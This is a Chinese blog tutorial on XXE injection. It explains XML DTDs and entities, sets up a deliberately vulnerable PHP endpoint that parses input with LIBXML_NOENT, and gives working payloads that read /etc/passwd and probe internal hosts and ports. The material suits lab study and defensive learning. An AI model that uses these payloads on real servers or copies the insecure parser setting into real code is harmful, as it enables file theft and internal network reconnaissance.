当前位置:   article > 正文

XXE XML外部实体注入_xxe外部实体注入

xxe外部实体注入

XXE 外部实体注入

一, 简介

XXE(XML External Entity Injection)是一种 XML 注入攻击,它利用了 XML 解析器在处理 XML 文档时存在的漏洞。
攻击者通过在 XML 文档中插入外部实体的引用,可以引导 XML 解析器读取攻击者控制的外部文件,进而获取敏感信息或执行恶意代码。

二, XML DTD (文档类型定义)

XML DTD(文档类型定义)是一种定义XML文档结构的规范,它为XML文档提供了一种语法规则,规定了文档中所使用的元素、实体、元素的属性、元素与实体之间的关系。

xml
<!DOCTYPE note [  
  <!ELEMENT note (to,from,heading)>  
  <!ELEMENT to (#PCDATA)>  
  <!ELEMENT from (#PCDATA)>  
  <!ELEMENT heading (#PCDATA)>  
]>  
<note>  
  <to>Tove</to>  
  <from>Jani</from>  
  <heading>Reminder</heading>  
</note>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

在XML文档中,使用DOCTYPE声明来引入DTD。DTD可以分为外部DTD和内部DTD两种类型。
内部DTD在XML文件的文件序言区域中定义。
外部DTD是一个独立的文件,需要用SYSTEM标签指定文件路径。

1. 内部实体引用

在 xml 文件内部定义实体(变量), 通过&引用.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [   
  <!ENTITY myEntity 'This is my entity'>
]>  
<note>&myEntity;</note>  
  • 1
  • 2
  • 3
  • 4
  • 5

在这个例子中,使用<!ENTITY>声明定义了一个名为myEntity的实体,其值为字符串'This is my entity'。然后在XML文档中,通过在需要使用实体的地方添加&myEntity;来引用该实体。

2. 外部实体引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
  • 1
  • 2
  • 3
  • 4
  • 5
3. 外部引用

从外部.dtd文件中加载实体.

Note.dtd 文件:

<!DOCTYPE note [  
  <!ENTITY myEntity 'This is my entity'>  
]>
  • 1
  • 2
  • 3

xml 文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note SYSTEM "Note.dtd">  
<note>&myEntity;</note>  
  • 1
  • 2
  • 3

三, XXE 实验

编写一个接受xml数据的api: http://192.168.112.200/security/xxe.php

<?php
libxml_use_internal_errors(true); // 开启错误捕获
$xml = file_get_contents("php://input"); // 获取post提交的xml字符串
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); // 解析xml字符串

if ($data === false) {
    echo "Failed loading XML\n";
    foreach(libxml_get_errors() as $error) {
        echo "\t", $error->message;
    }
} else {
    echo $data; // 输出解析后的内容
}
?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

前端使用post请求提交一段xml字符串:

1. 读取服务器的敏感文件 /etc/passwd 文件的内容.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
    <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<note>&file;</note>
  • 1
  • 2
  • 3
  • 4
  • 5
2. 探测服务器内网的ip和端口.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
    <!ENTITY file SYSTEM "http://192.168.112.202:80">
]>
<note>&file;</note>
  • 1
  • 2
  • 3
  • 4
  • 5
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/花生_TL007/article/detail/612670
推荐阅读
相关标签
  

闽ICP备14008679号